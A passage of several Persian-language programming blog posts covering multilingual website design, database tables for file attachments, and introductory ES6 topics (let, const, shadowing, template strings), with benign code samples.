       در جدول پایه یک مقاله ایجاد می‌شود که اطلاعات عمومی همه مقالات را دارد و حتی خصوصیت وضعیت نمایش آن، روی همه‌ی مقالات با هر زبانی تاثیر می‌گذارد. در جدول دو، هر مقاله یک رکورد دارد که کد زبان و کد مقاله برای آن یک کلید ترکیبی به حساب می‌آیند. پس، از هر مقاله یک یا چند زبان خواهیم داشت. همچنین دارای فیلدهایی با وضعیت مخصوص به خود هم هستند؛ مثل فیلد وضعیت نمایش مقاله که فقط برای این مقاله با این زبان کاربرد دارد.

      مزایا:

      1. گزارش گیری آسان برای هر دسته مقاله با زبان‌های مختلف و ارتباط و یکپارچگی
      2. آسان در افزودن زبان.

      معایب:

      1. ایجاد کوئری‌های پیچیده‌تر و جوین دار که به نسبت روش‌های قبلی کوئری‌ها پیچیده‌تر شده اند.
      2. کدنویسی زیادتر.

      استفاده از ساختارهای XML یا JSON برای ذخیره سازی اطلاعات چند زبانه مانند ساختارهای زیر:

      XML
      <Articles><Article>
      this is english text</Article><Article>
      این یک متن فارسی است
      </Article></Articles>
      
      یا 
      <Articles><en-us>
      this is english text</en-us><fa-ir>
      این یک متن فارسی است
      </fa-ir></Articles>
      JSON
      "Articles":["en-us':{"title":"this is english text","content":" english content"},"fa-ir":{"title":"متن فارسی","content":"محتوای فارسی"}]
      ازSQL Server 2005 به بعد از نوع داده xml پشتیبانی می‌شود و در نسخه‌ی 2016 آن نیز پشتیبانی از Json اضافه شده است که حتی شامل اندیکس‌های اختصاصی هم برای این دو نوع می‌باشد.
      از مزایای این روشذخیره‌ی همه داده‌ها در یک ستون و یک جدول است و نیازی به ستون‌های اضافه یا جداول اضافه نیست ولی معایب این روش استفاده از کوئری‌های پیچیده‌تر جهت ارتباط و خواندن است.

      استفاده از بانک‌های اطلاعاتی NO SQL
      در این بانک‌ها دیگر درگیر تعداد ستون‌ها و جنس آن‌ها نیستیم و میتوانیم برای هر مقاله یا محصول، هر تعداد زبان و یا فیلد را که می‌خواهیم، در نظر بگیریم و اضافه کنیم. برای آشنایی بیشتر با این نوع بانک‌ها و انواع آن، مقالات مربوط به nosql را در سایت دنبال کنید.

      نکاتی که در یک سایت چند زبانه باید به آن‌ها توجه کرد.

      یک . زبان آن صفحه را معرفی کنید: این کار هم به موتورهای جست و جو برای ثبت سایت شما کمک می‌کند و هم برای معلولین که از ابزارهای صفحه خوان استفاده می‌کنند، کمک بزرگی است.در این روش، صفحه خوان‌ها و دستگاه‌های خط بریل که زبان صفحه را تشخیص نمی‌دهند با خواندن کد زبان می‌توانند زبان صفحه را تشخیص دهند.با استفاده از خط زیر میتوانید زبان اصلی صفحه‌ی خود را تنظیم نمایید:
      <html lang="en">

      اگر از XHTML استفاده می‌کنید خاصیت زیر را فراموش نکنید. دریافت W3C Validation بدون آن امکان پذیر نخواهد بود.
      <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
      با تغییر زبان هر صفحه، باید تنظیم زبان آن تغییر یابد:



      دو. چند زبانه بودن صفحه: در بالا یاد گرفتیم که چگونه زبان اصلی صفحه را تنظیم کنیم، ولی گاهی اوقات صفحه به غیر از زبان اصلی، شامل زبان‌های دیگر هم می‌شود؛ مثل نقل قول‌ها یا موارد دیگر. برای این‌کار می‌توانید از خصوصیت lang که در اکثر تگ‌ها پشتیبانی می‌شود، استفاده کنید. مثال پایین یک نقل قول فرانسوی است که ما آن را به خصوصیت lang، جهت تایید زبانش مزین کرده‌ایم:
      <blockquote lang=”fr”><p>Le plus grand faible des hommes, c'est l'amour qu'ils ont de la vie.</p></blockquote>

      سه. لینک ها:اگر دارید در صفحه‌ای لینک به جایی می‌دهید که متفاوت از زبان شماست، حتما باید زبان صفحه یا سایت مقصد را مشخص کنید. مثلا لینک زیر برای صفحه‌ای است که از یک زبان غیر فرانسوی به یک صفحه‌ی با زبان فرانسوی هدایت می‌شود:
      <a href="" hreflang="fr">French</a>

      همچنین اگر متن لینک شما هم به زبان فرانسوی باشد خیلی خوب می‌شود که آن را هم بیان کنید و از خاصیت lang و هم hreflang همزمان استفاده کنید:
      <a href="" hreflang="fr">Francais</a>

      چهار. جهت صفحه: به طور پیش فرض شما این مورد را به خاطر طراحی ظاهر صفحه رعایت می‌کنید ولی خالی از لطف نیست که بگوییم جهت زبان را هم با خصوصیت dir  که مقدار پیش فرضش راست به چپ هست، ذکر کنید. هر چند که عموما وب سایت‌های چند زبانه شامل یک قالب دیگر به صورت راست چین یا چپ چین هم هستند که بر اساس زبان انتخاب شده، قالب خود را تغییر خواهند داد.

      پنج. انکودینگ صفحه را مشخص کنید: برای اینکه نحوه‌ی رمزگذاری و رمزگشایی حروف و نمادها مشخص گردد، باید انکودینگ تنظیم شود و حتی برای بعضی از موتورهای جست و جو که ممکن است با وب سایت شما به مشکل بر بخورند. امروزه بیشتر از صفحات یونیکد استفاده می‌شود که سطح وسیعی از کاراکترها را پشتیبانی می‌کند.
      <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">

      HTML5
      <meta charset="UTF-8">

      شش. اندازه‌ی فونت:
      موقعی که یک سایت چند زبانه را طراحی می‌کنید این نکته خیلی مهم هست که بدانید اندازه فونت‌های زبان پیش فرض، برای باقی زبان‌ها مناسب نیستند. به عنوان مثال ممکن است اندازه فونتی برای زبان‌های انگلیسی، فرانسوی و آلمانی مناسب باشد ولی برای زبان‌های فارسی و عربی و چینی و ... مناسب نباشد و خواندن آن سخت شود. به همین جهت یکی از راه‌های حل این مشکل استفاده از قالب css است که وابسته به خصوصیت lang ای است که شما برای صفحه و هر المان یا تگی که از این خصوصیت استفاده می‌کند، تعیین کرده‌اید.
      :lang(en) {
      
      font-size: 85%;
      
      font-family: arial, verdana, sans-serif;
      
      }
      
      :lang(zh) {
      
      font-size: 125%;
      
      font-family: helvetica, verdana, sans-serif;
      
      }

      خط زیر تعیین میکند که از استایل اول استفاده شود:
      <html lang="en">
      و خط زیر تعیین می‌کند که از استایل دوم استفاده شود:
      <html lang="zh">
      البته این کد بالا در مرورگرهای فایرفاکس، اپرا و IE8 به بالا پاسخ می‌دهد. برای سایر مروگرها چون کروم و نسخه‌های پیشین IE باید از شیوه‌ی زیر بهره ببرید:
      <body class="english"> or <body class="chinese">

      و استایل:
      .english {
      
      font-size: 85%;
      
      font-family: arial, verdana, sans-serif;
      
      }
      
      .chinese {
      
      font-size: 125%;
      
      font-family: helvetica, verdana, sans-serif;
      
      }
      در این شیوه برای تگ مربوطه یک کلاس با نام آن زبان ایجاد کرده که محتوای آن تنظیمات قلم آن زبان می‌باشد.

      هفت. اندازه‌ی کلمات و خطوط: در این حالت اندازه کلمات بین هر زبان متفاوت است و میزان فضایی که در بر می‌گیرند با زبانی دیگر تفاوت دارد. ممکن است کلمه‌ای در یک زبان شش حرف باشد، ولی در زبانی دیگر دو یا چهار حرف و به خصوص در یک عبارت یا حتی جمله این نکته بیشتر به چشم می‌آید. تصاویر زیر نمونه‌ای از حل این مشکل توسط سایت آمازون می‌باشند که بعضی المان‌ها مانند لیست علاقمندی‌ها یا بعضی از آیتم‌ها را جابجا کرده است. بهترین جواب برای اینکار این است که قالب خود را برای هر زبان بهینه کنید.

      هشت : زمان را نیز تغییر دهید: یکی از مواردی که در کمتر سایت چند زبانه‌ای به چشم می‌خورد و به نظر بنده می‌تواند بسیار مهم باشد این است که time zone منطقه‌ی هر زبان را بدانید. به عنوان مثال برای مقاله‌ی خود، تاریخ ایجاد را به صورت UTC ذخیره کنید و سپس نمایش را بر اساس زبان یا حتی بهتر و دقیق‌تر از طریق IP کشور مربوطه به دست آورید. برای کاربران ثبت نام شده این تاریخ می‌تواند دقیق‌تر باشد همانند انجمن‌های وی بولتین.


      شیوه‌های تشخیص زبان سایت

      یکی از راه‌های تشخیص زبان این است که موقعی که برای اولین بار کاربری به سایت مراجعه می‌کند، زبان مورد نظرش را سوال کنید و این اطلاعات را در یک کوکی بدون تاریخ انقضاء ذخیره کنید تا در دفعات بعدی آن را بررسی نمایید.

      دومین راه، استفاده از IP کاربر مراجعه کننده است تا بر اساس آن زبان مورد نظر را انتخاب کنید.

      در سومین شیوه که اغلب استفاده می‌شود، زبان سایت به طور پیش فرض بر روی یک زبان خاص که بهتر است انگلیسی باشد تنظیم شده است و سپس کاربر از طریق یک منو یا ابزارهای موجود در سایت، زبان سایت را تغییر دهد.

      پی نوشت: فراموش نگردد که امکان تغییر زبان همیشه برای کاربر مهیا باشد و طوری نباشد که کاربر در آینده نتواند زبان سایت را تغییر دهد؛ حتی اگر تشخیص خودکار سایت برای زبان فعال باشد.

      پی نوشت: در روش‌های بالا بهتر است همان مرتبه‌ی اول اطلاعات را در یک کوکی ذخیره کنید تا مراحل پیگیری راحت‌تر و آسان‌تر شود.


      پلاگین‌ها و ابزارهای مدیریت زبان

      اولین ابزاریکه به شما برای تغییر زبان سایت معرفی می‌کنیم، توسط کاربر مورد استفاده قرار می‌گیرد و یک پلاگین جی کوئری می‌باشد. این پلاگین شامل حالت‌های مختلفی است که به نظر من بهترین حالت آن است که پرچم کشور مربوطه نیز نمایش یابد تا کاربر ارتباط راحت‌تری با سایت داشته باشد.

      دومین ابزار که بیشتر برای انتخاب کشور می‌باشد و من خودم در بخش مدیریتی سیستم‌ها از آن استفاده میکنم، ابزار CountrySelector است. این پلاگین قابلیت جست و جو زبان را همزمان با تایپ کاربر نیر داراست. اسامی کشورها به صورت انگلیسی شروع شده و به زبان آن کشور در داخل پرانتز خاتمه می‌یابند و پرچم هر کشور نیز در کنار آن قرار دارد. کار کردن با آن بسیار راحت بوده و مستنداتش به طور کامل کار با آن را توضیح می‌دهد.

      پلاگین بعدی International Telephone Input است که  پیاده سازی پلاگین بالا می‌باشد. برای مواردی مفید است که شما نیاز دارید کد تلفنی کشوری را انتخاب کنید.

      در مقاله‌های زیر که در سایت جاری است در مورد Globalization و به خصوص استفاده از ریسورس‌ها مطالب خوبی بیان شده است:

      قسمت بیست و دوم آموزش MVC که مبحث Globalization را دنبال می‌کند.

      قسمت اول از شش قسمت مباحث Globalization  که دنباله‌ی آن را می‌توانید در مقاله‌ی خودش دنبال کنید.

        ‫طراحی جدول فایل‌های پیوستی پایگاه داده

        $
        0
        0
        سناریو‌ی زیر را در نظر بگیرید:
        می‌خواهید پروژه‌ای را انجام دهید که شامل جداول زیر است:
        مقالات، اخبار، گالری تصاویر، گالری ویدیو، اسلایدشو، تبلیغات و ... و تمامی این جداول حداقل شامل یک فایل پیوست (عکس، فیلم، ...) می‌باشند. به طور مثال جدول مقالات دارای یک عکس نیز می‌باشد. قصد داریم تمام فایل‌ها را بر روی هاست ذخیره کرده و فقط آدرس و نام فایل را در دیتابیس ذخیره نمایم.

        روش اول : استفاده از یک فیلد در هر جدول برای نگه دارای اسم فایل

        مثال:
            public class Article
            {
                public int Id { get; set; }
                public string Title { get; set; }
                public string Body { get; set; }
                public string RegisterDate { get; set; }
                public string FileName { get; set; }
            }
        معایب:
        این روش فقط در صورتی پاسخگو می‌باشد که هر رکورد فقط شامل یک فایل باشد. به طور مثال ممکن است برای یک مقاله، چندین عکس و فایل را ضمیمه‌ی آن کنیم. در این حالت این روش پاسخ گو نمی‌باشد؛ ولی می‌توانیم به صورت زیر نیز عمل کنیم:
        ایجاد جدولی برای نگهداری فایل‌های هر رکورد از مقاله :


        public class ArticleFiles
        {
                public int Id { get; set; }
                public string FielName { get; set; } public string FileExtension { get; set; } 
                public Article Article { get; set; }
                public int FileSize { get; set; }
        }
         
        روش دوم : ایجاد جدولی پایه برای نگهدارای تمام فایل‌های آپلود شده

        می‌توانیم جدولی را به نام Attachment ایجاد کرده و هر فایلی را که آپلود می‌کنیم، مشخصات آن را در این جدول ذخیره کنیم و هر جدول هم که نیازی به فایل داشت، رابطه‌ای با این جدول برقرار کند. در این حالت خواهیم داشت:


        public class Attachment
            {
                public int Id { get; set; }
                public string Title { get; set; }
                public string FileName { get; set; }
                public string Extension { get; set; }
                public DateTime RegisterDate { get; set; }
                public int Size { get; set; }
                public ICollection<Article> ArticleFiles { get; set; }
                public ICollection<News> NewsFiles { get; set; }
                public int Viewed { get; set; }
            }
        در این حالت باید بین تمام جداولی که نیاز به فایل دارند، رابطه ای با جدول Attachment داشته باشد. به طور مثال بین جدول مقالات و جدول Attachment یک رابطه‌ی یک به چند برای لیست فایل‌ها وجود خواهد داشت.


        روش سوم : جدولی برای نگه داری اسم فایل‌ها، بدون رابطه

        جدول Attachment در این روش، همانند روش دوم می‌باشد؛ با دو تفاوت:
        1- با هیچ جدولی رابطه‌ای ندارد.
        2- دو فیلد به عنوان نام جدول و Id رکورد به آن اضافه شده است.
        تفاوت نسبت به روش دوم:
        در روش دوم، ثبت یک رکورد، وابسته‌ی به ثبت رکورد در جدول Attachment بود و ابتدا می‌بایستی فایل در Attachment ذخیره می‌شد و بعد از بدست آوردن Id آن، رکورد مورد نظر (مقاله) را درج می‌کردیم. ولی در این روش ابتدا مقاله درج شده و بعد از آن فایل را با اسم جدول و ID رکورد مورد نظر ذخیره می‌کنیم:
        public class Attachment
            {
                public int Id { get; set; }
                public string Title { get; set; }
                public string FileName { get; set; }
                public string Extension { get; set; }
                public DateTime RegisterDate { get; set; }
                public int Size { get; set; }
                public string TableName { get; set; }
                public int RowId { get; set; }
                public int Viewed { get; set; }        
            }

        حالت پنجم :

        ایجاد یک کلاس پایه و ارث بری سایر کلاس‌ها از کلاس پایه و ایجاد رابطه‌ای بین کلاس پایه و کلاس‌های مشتق شده.

        نظراتی پیرامون حالت‌های مختلف:

        1- داشتن یک جدول الحاقات برای هر جدول
        • اضافه کردن یک فیلد: بعضی‌ها این روش را ترجیح می‌دهند. به این دلیل که هر جدول، یک جدول attachment مختص به خود دارد؛ با توجه به فیلدهایی که لازم است. به طور مثال ممکن است بعد از گذشت مدتی، نیاز باشد تا دو فیلد برای فایل‌های هر مقاله اضافه شوند که در این حالت فقط به جدول attachment مقاله اضافه خواهند شد.

        2- داشتن یک جدول پایه که کل فایل‌ها در آن ذخیره شوند (روش‌های دوم و سوم)

        • متمرکز شدن کل فایل‌ها در یک جدول: بیشتر پروژه‌ها و یا برنامه نویسان (طبق تجربه‌ی بنده) یک جدول پایه را برای این منظور دوست دارند. به دلیل اینکه تمام اطلاعات یکجا باشد.
        • عدم آپلود چندین باره‌ی یک فایل: در این حالت می‌توان از یک فایل چندین بار در چند جای مختلف استفاده نمود و در فضای هاست صرفه جویی می‌شود. این روش مدیریت سختی دارد و نیازمند کوئری‌های بیشتری می‌باشد.
        • وجود فیلد‌های زیاد null در جدول: در این حالت ممکن است ردیف‌هایی با ستون‌های مقدار null در جدول زیاد شوند. فرض کنید دو فیلد در جدول attachment وجود دارند که فقط توسط جدول مقالات مورد استفاده قرار می‌گیرند و در بقیه‌ی جداول بدون استفاده می‌باشند.


        از کدام روش استفاده کنیم؟

        نمی توان پیشنهاد کرد که الزاما از کدامیک از روش‌های بالا باید استفاده کنیم؛ چون نیازمندهای‌های هر پروژه با هم متفات است و نمی‌توان نسخه‌ای خاص را برای همه تجویز کرد.

          ‫معرفی ES 6

          $
          0
          0
          جاوا اسکریپت، پیاده سازی ECMA Script است (با تلفظ اکما اسکریپت) که به صورت مخفف به آن ES هم گفته می‌شود و ES 6، در حقیقت نگارش 6 این استاندارد است که به آن ECMA Script 2015 نیز می‌گویند (زمان نهایی شدن استاندارد آن سال 2015 است) و از زمان ارائه‌ی جاوا اسکریپت، بزرگترین تغییر و تحول آن نیز محسوب می‌گردد. با ES 6 مواردی مانند کلاس‌ها، برنامه نویسی تابعی (functional programming)، ماژول‌ها و غیره اضافه شده‌اند.



          چرا باید ES 6 را آموخت؟

          در طی 2 سال آینده، تمام فریم ورک‌های جدید جاوا اسکریپتی، از بوت استرپ 4 تا AngularJS 2 تا Aurelia و غیره، همگی به ES 6 کوچ خواهند کرد (و این اتفاق هم اکنون در حال رخ دادن است). بنابراین به زودی بدون فراگیری و تسلط بر ES 6، در حوزه‌ی وب، «بی‌سواد» محسوب خواهید شد و فراگیری آن یک «باید» است.


          وضعیت پشتیبانی از ES 6 در مرورگرهای مختلف

          برای مشاهده‌ی پیشرفت‌های مرورگرهای کنونی در زمینه‌ی پشتیبانی از ES 6‌، می‌توان به صفحه‌ی ES 6 compatibility tableمراجعه کرد.


          برای نمونه در حال حاضر، فایرفاکس بهترین پشتیبانی از ES 6 را ارائه می‌دهد (با پیاده سازی 85 درصد از قابلیت‌ها) و بعد از آن مرورگر جدید مایکروسافتقرار دارد.
          وضعیت IE 10,11 در این بین تغییری نخواهند کرد؛ زیرا پشتیبانی رسمی از تمام آن‌ها به زودی خاتمه می‌یابد (در سه شنبه، ۲۲ دی ۱۳۹۴).
          در همین صفحه، در ابتدای چارت، ستون current browser نیز قرار دارد. این ستون، وضعیت مرورگر جاری شما را از لحاظ درصد پیاده سازی قابلیت‌های ES 6 نمایش می‌دهد.


          اهمیت دریافت آخرین نگارش‌های مرورگرها

          با توجه به ES 6 compatibility table، اکثر مرورگرها در نسخه‌های شبانه و همچنین آزمایشی آن‌ها، به مرور در حال افزودن قابلیت‌های باقیمانده‌ی ES 6 هستند. بنابراین اگر با فایرفاکس کار می‌کنید، نیاز است Firefox nightly buildsرا نصب کنید. اگر از مرورگرهای مایکروسافت استفاده می‌کنید، آخرین نگارش MS Edge بهترین پشتیبانی از ES 6 را ارائه می‌دهد و اگر از کروم استفاده می‌کنید، نگارش‌‌های بتا و Devآن را می‌توانید دریافت کنید.

          علاوه بر این‌ها، نگارش‌های فعلی این مرورگرها نیز دارای امکانات آزمایشی هستند که می‌توان آن‌ها را به صورت دستی فعال کرد. برای مثال در مرورگر کروم، به آدرس chrome://flags مراجعه کنید و در صفحه‌ی باز شده، کلمه‌ی JavaScript را جستجو کنید. در اینجا نیاز است گزینه‌ی «Enable Experimental JavaScript» را فعال کنید (بر روی لینک enable ذیل آن کلیک نمائید).


          به این ترتیب قادر خواهید بود آخرین افزونه‌های ES 6 را در developer tools console آن اجرا کنید.

          چنین تنظیمی به MS Edge نیز اضافه شده‌است. پس از اجرای آن، به آدرس about:flags مراجعه کنید:


          در اینجا نیز می‌توانید گزینه‌ی «Enable experimental JavaScript features» را انتخاب کنید.


          معرفی traceur-compiler

          هرچند قابلیت‌های فعلی آخرین نگارش‌های مرورگرها برای اجرای بسیاری از امکانات ES 6 کفایت می‌کنند، اما اگر علاقمند به اجرای تمامی آن‌ها هستید، می‌توان از traceur-compilerگوگل نیز کمک گرفت (با تلفظ تریسر). این کامپایلر، قابلیت‌های جدید ES 6 را تبدیل به نگارش‌های فعلی قابل درک برای مرورگرهای قدیمی‌تر می‌کند. به این ترتیب امکان اجرای آزمایشات مرتبط با ES 6 را خواهید یافت.
          روش استفاده‌ی از آن هم به صورت ذیل است:
          <script src="https://google.github.io/traceur-compiler/bin/traceur.js"></script><script src="https://google.github.io/traceur-compiler/src/bootstrap.js"></script><script type="module">
          // ES 6</script>
          ابتدا نیاز است دو اسکریپت اصلی تریسر را به صفحه الحاق کنید. پس از آن نوع تگ اسکریپت را به module تنظیم کنید. در این بین قادر خواهید بود به تمامی امکانات ES 6 در مرورگر فعلی خود دسترسی داشته باشید.

          ‫متغیرها در ES 6

          $
          0
          0
          در ES 6تغییراتی جهت ساده سازی خواندن، نوشتن و همچنین بالا بردن امنیت متغیرها و پارامترها صورت گرفته‌اند، تا دیگر شاهد یک سری رفتارهای عجیب و غریب، در حین کار با متغیرهای جاوا اسکریپتی نباشیم.


          واژه‌ی کلیدی let

          تاکنون به کمک واژه‌ی کلیدی var امکان تعریف متغیرها در جاوا اسکریپت مهیا بودند. برای نمونه در مثال زیر، متغیر x داخل بدنه‌ی if با استفاده از var تعریف شده‌است:
          var doWork = function(flag){
             if(flag){
               var x = 3;
             }
             return x;
          };
          در اینجا اگر متد doWork را با پارامتر true اجرا کنیم، خروجی 3  و اگر آن‌را با پارامتر false اجرا کنیم، خروجی undefined را دریافت خواهیم کرد:


          زمانیکه از var استفاده می‌شود، برای یک متغیر دو نوع میدان دید را می‌توان متصور شد:
          - اگر خارج از بدنه‌ی تابع تعریف شود، این متغیر عمومی خواهد بود.
          - اگر داخل بدنه‌ی تابع تعریف شود، میدان دید آن محدود به همان بدنه‌ی تابع می‌شود. در این حالت چیزی به نام block scope بی‌مفهوم است. در متد doWork فوق، هرچند متغیر x داخل بدنه‌ی بلاک if تعریف شده‌است، اما این x در کل بدنه‌ی تابع در دسترس است و نه صرفا داخل بلاک if. این مورد تا پیش از ES 6منشاء بسیاری از باگ‌ها بوده‌است.
          بنابراین در اینجا چون x تعریف شده، میدان دیدی در سطح متد دارد، return x معتبر بوده و در حالت دریافت پارامتر true، مقدار 3 را بر می‌گرداند و در حالت false هم همچنان مقداری را دریافت خواهیم کرد و این مقدار undefined است (اما پیام خطای عدم دسترسی به x را دریافت نمی‌کنیم).
          به این رفتار اصطلاحا hoisting می‌گویند. در این حالت موتور جاوا اسکریپت، تمام متغیرهای تعریف شده‌ی توسط var را به صورت ضمنی به ابتدای تعریف متد منتقل کرده و آن‌ها را در آن‌جا تعریف می‌کند. به همین جهت است که return x تعریف شده‌ی در انتهای متد، قابلیت دسترسی به x داخل بدنه‌ی if را دارد.

          در ES 6برای رفع این مشکل، واژه‌ی کلیدی جدیدی به نام let معرفی شده‌است و هدف آن مهیا کردن block scoping تعریف متغیرها است:
          var doWork = function(flag){
              if(flag){
                let x = 3;
              }
              return x;
          };
          اینبار اگر متد doWork را با پارامتر true فراخوانی کنیم، به خروجی ذیل خواهیم رسید:


          بله. همانطور که مشاهده می‌کنید، اینبار میدان دید x به if block تعریف شده‌ی در آن محدود گشته و دیگر خارج از آن مفهومی ندارد و تعریف نشده‌است. به همین جهت زمانیکه به return x می‌رسیم، پیام تعریف نشده بودن x را دریافت خواهیم کرد. برای اینکه قطعه کد فوق کار کند، نیاز است return x را به داخل بدنه‌ی قطعه‌ی if تعریف شده، انتقال داد.

          این block scoping مهیا شده‌ی توسط let، با حلقه‌ی for نیز کار می‌کند:
          var doWork = function(){
             for(let i = 0; i< 10; i++){
             }
          
             /* return i won't work */
            return 0;
          };
          در مثال فوق اگر return i را در انتهای متد قرار دهیم، با همان خطای Uncaught ReferenceError پیشین مواجه خواهیم شد؛ از این جهت که برخلاف var، متغیر تعریف شده‌ی با let، میدان دیدی در سطح قطعه و بلاک تعریف شده‌ی در آن دارد و در اینجا بلاک متغیر i همان حلقه‌ی for است.


          یک نکته

          مفهوم block scoping با تعریف {} معنا پیدا می‌کند. بنابراین می‌توانید یک قطعه‌ی دلخواه را با تعریف {} نیز مشخص کنید:

          و یا در مثال ذیل چندین قطعه‌ی تو در تو را مشاهده می‌کنید:
          let outer = 'I am so eccentric!'
          {
            let inner = 'I play with neighbors in my block and the sewers'
            {
              let innermost = 'I only play with neighbors in my block'
            }
            // accessing innermost here would throw
          }
          // accessing inner here would throw
          // accessing innermost here would throw
          در اینجا میدان دید متغیرهای تعریف شده، محدود است به قطعه‌ی آن‌ها. به همین جهت است که نمی‌توان به متغیر innermost در خارج از بلاک آن دسترسی یافت.

          نمونه‌ی دیگر آن تعریف یک متد داخل یک بلاک است:
          {
            let _nested = 'secret'
            function nested () {
              return _nested
            }
          }
          console.log(nested())
          اگر این قطعه کد را اجرا کنیم، به خطای ذیل خواهیم رسید:


          در ES 6نمی‌توان به متغیرهای تعریف شده‌ی توسط let داخل یک بلاک، در خارج از آن دسترسی یافت. اگر می‌خواهید سطح دسترسی به متد را افزایش دهید، نیاز است به شکل ذیل عمل کنید و متد را خارج از بدنه‌ی بلاک با سطح دسترسی بیشتری تعریف نمائید:
          var nested;
          {
            let _nested = 'secret'
            nested = function () {
              return _nested
            }
          }
          console.log(nested())
          // <- 'secret'


          واژه‌ی کلیدی const

          در ES 6برای ایجاد و مقدار دهی متغیرهای فقط خواندنی، واژه‌ی کلیدی const افزوده شده‌است. در اینجا const نیز مانند let دارای block scoping است.
          doWork = function()
          {
             const value = 10;
             value = 11;
             return value;
          }
          در این مثال ابتدا متغیر value به صورت یک ثابت تعریف شده‌است و سپس مقدار 11 به آن نسبت داده شده‌است. اگر آن‌را در کروم 47 اجرا کنید، از مقدار 11 صرفنظر شده و خروجی 10 را بازگشت می‌دهد. اما اگر آن‌را در فایرفاکس 43 اجرا کنید، خطای متناظر با ES 6را بازگشت می‌دهد:


          در ES 6، انتساب یک مقدار به یک const، پس از تعریف آن، منجر به بروز خطای syntax error خواهد شد. همچنین تعریف مجدد آن نیز چنین خطایی را سبب خواهد شد.

          یک نکته
          هر چند const سبب read only شدن یک متغیر می‌شود، اما آن‌را immutable نمی‌کند:
          const items = { people: ['you', 'me'] }
          items.people.push('test')
          console.log(items)
          با این خروجی:

          همانطور که مشاهده می‌کنید، هنوز هم می‌توان به شیء تعریف شده، آیتمی را اضافه کرد (در اینجا test به آرایه‌ی people اضافه شده‌است).


          آشنایی با مفهوم shadowing

          همان مثال ابتدای بحث را در نظر بگیرید:
          var doWork = function(flag){
             if(flag){
                  let x = 10;
                  var x = 3;
                  return x;
             }
          };
          داخل بدنه‌ی if، متغیر x یکبار توسط let و بار دیگر توسط var تعریف شده‌است.  در این حالت خطای Uncaught SyntaxError: Identifier 'x' has already been declared را دریافت خواهیم کرد (اگر let اول را به var تغییر دهید، مشکلی نخواهد بود و برنامه کامپایل می‌شود). اما اگر let x را به پیش از متد انتقال دهیم، اینبار مثال کامپایل می‌شود و خروجی متد (doWork(true مساوی 3 خواهد بود:
          let x = 10;
          var doWork = function(flag){
              if(flag){
                var x = 3;
                return x;
             }
          };
          در این حالت x تعریف شده‌ی داخل بلاک توسط var (یا حتی let) مقدار x تعریف شده‌ی در بلاک بالاتر را مخفی می‌کند که به آن shadowing نیز می‌گویند. در این حالت اگر در خارج از متد doWork، به x دسترسی پیدا کنیم، مقدار آن همان 10 است.
          مثال ذکر شده، با مثال ذیل که یک بلاک را توسط {} ایجاد کرده‌ایم، یکی است:
          let x = 10;
          {
             let x = 3;
             console.log(x);
          }
          console.log(x);


          در اینجا نیز ابتدا مقدار 3 که مرتبط با بلاک داخلی است چاپ خواهد شد و سپس مقدار 10 که مرتبط است به بلاک خارجی‌تر.

          ‫رشته‌ها در ES 6

          $
          0
          0

          در بیشتر زبان‌های برنامه‌نویسی قابلیتی تحت عنوان String Interpolationوجود دارد. منظور، فرآیند جایگزین کردن مقادیر، با یکسری placeholder درون یک رشته است. در نسخه‌های قبلی جاوا اسکریپت محدودیت‌هایی در استفاده از رشته‌ها وجود داشت و امکان انجام این کار به صورت توکار مهیا نبود. یعنی برای پیاده‌سازی این قابلیت می‌توانستیم با تغییر prototype شیء String و یا روش‌های دیگری این‌حالت را پیاده‌سازی کنیم (+):

          // First, checks if it isn't implemented yet.
          if (!String.prototype.format) {
            String.prototype.format = function() {
              var args = arguments;
              return this.replace(/{(\d+)}/g, function(match, number) { 
                return typeof args[number] != 'undefined'
                  ? args[number]
                  : match
                ;
              });
            };
          }
          "Hello, {0}, I'm a simple {1}, Today is: {2}".format("World", "String", new Date());
          
          // Output
          
          "Hello, World, I'm a simple String, Today is: Tue Dec 29 2015 10:21:10 GMT+0330 (Iran Standard Time)"

          اما در ES 6با کمک قابلیتی تحت عنوان template string این محدودیت‌ها به طور قابل ملاحظه‌ایی کاهش پیدا کرده است. در واقع یک template string، یک رشته‌ی جاوا اسکریپتی است که به جای (" ") و یا (' ') درون دو کاراکتر (` `) یا به اصطلاح back-tick character محصور خواهد شد. این ویژگی در سناریوهای مختلفی کاریرد دارد. از این ویژگی می‌توانیم جهت الحاق رشته‌ها استفاده کنیم. به عنوان مثال می‌توانیم کد زیر را:

          let category = "music";
          let id = 2112;
          
          let url = "http://apiserver/" + category + "/" + id;

          با کمک template string به اینصورت بازنویسی کنیم:

          let category = "music";
          let id = 2112;
          
          let url = `http://apiserver/${category}/${id}`;

          و یا می‌توانیم مثال ابتدای مطلب را به اینصورت بازنویسی کنیم:

          console.log(`Hello, ${"World"}, I'm a simple ${"String"}, Today is: ${new Date()}`);

          همانطور که عنوان شد برای استفاده از این قابلیت باید رشته‌ی موردنظر را درون دو کاراکتر (` `) قرار دهیم. سپس درون این کاراکترها می‌توانیم literal text و همچنین یکسری placeholder جهت جایگزین کردن با مقادیر و عبارات موردنظر داشته باشیم. این placeholder‌ها نیز با استفاده از سینتکس { }$ قابل تعریف هستند.  لازم به ذکر است که عبارت موردنظرمان را باید درون دو علامت { } بنویسیم. مقادیر درون این دو علامت می‌توانند هر عبارت معتبر جاوا اسکریپتی باشند: 

          let a = 5;
          let b = 10;
          console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`);
          // "Fifteen is 15 and
          // not 20."

          در کد فوق متغیرهای a و b درون placeholder‌های مربوطه جایگزین خواهند شد. همانطور که مشاهده می‌کنید، این سینتکس نسبت به سینتکس + که برای الحاق رشته‌ها قبلاً مورد استفاده قرار می‌گرفت خیلی بهتر و خواناتر است.

          به صورت خلاصه:

          • کد درون placeholder می‌تواند هر عبارت جاوا اسکریپتی باشد.
          • اگر مقدار درون placeholder یک رشته نباشد٬ توسط متد toString به رشته تبدیل خواهد شد.
          • اگر بخواهید درون template string از یک کاراکتر backtick استفاده کنید٬ می‌توانید به این صورت عمل کنید: 
          `\``
          
          // یا
          
          "`"
          در واقع می‌توانید توسط یک بک‌اسلش ار کارکترهای back tick و $ صرفنظر کنید.

           Multiline Strings 

          console.log(`string text line 1
          string text line 2`);
          // "string text line 1
          // string text line 2"

          همانطور که مشاهده می‌کنید، template string از متن‌های چندخطی نیز به خوبی پشتیبانی می‌کند. به عنوان مثال اگر رشته‌ی فوق را درون گیومه می‌نوشتیم می‌بایستی از سینتکس + برای الحاق دو خط فوق استفاده می‌کردیم:

          console.log("string text line 1\n"+
          "string text line 2");
